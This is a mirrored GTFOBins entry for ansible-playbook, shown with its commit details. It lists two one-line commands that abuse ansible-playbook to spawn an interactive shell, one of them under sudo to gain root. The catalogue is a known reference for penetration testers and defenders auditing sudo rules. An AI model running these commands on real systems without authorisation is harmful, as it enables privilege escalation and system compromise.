1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/ansible-playbook.md
Nasef ee3eb38ee4
Add knife and ansible-playbook
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2021-07-13 18:38:09 +02:00

363 B

functions
shell sudo
code
TF=$(mktemp) echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF ansible-playbook $TF
code
TF=$(mktemp) echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF sudo ansible-playbook $TF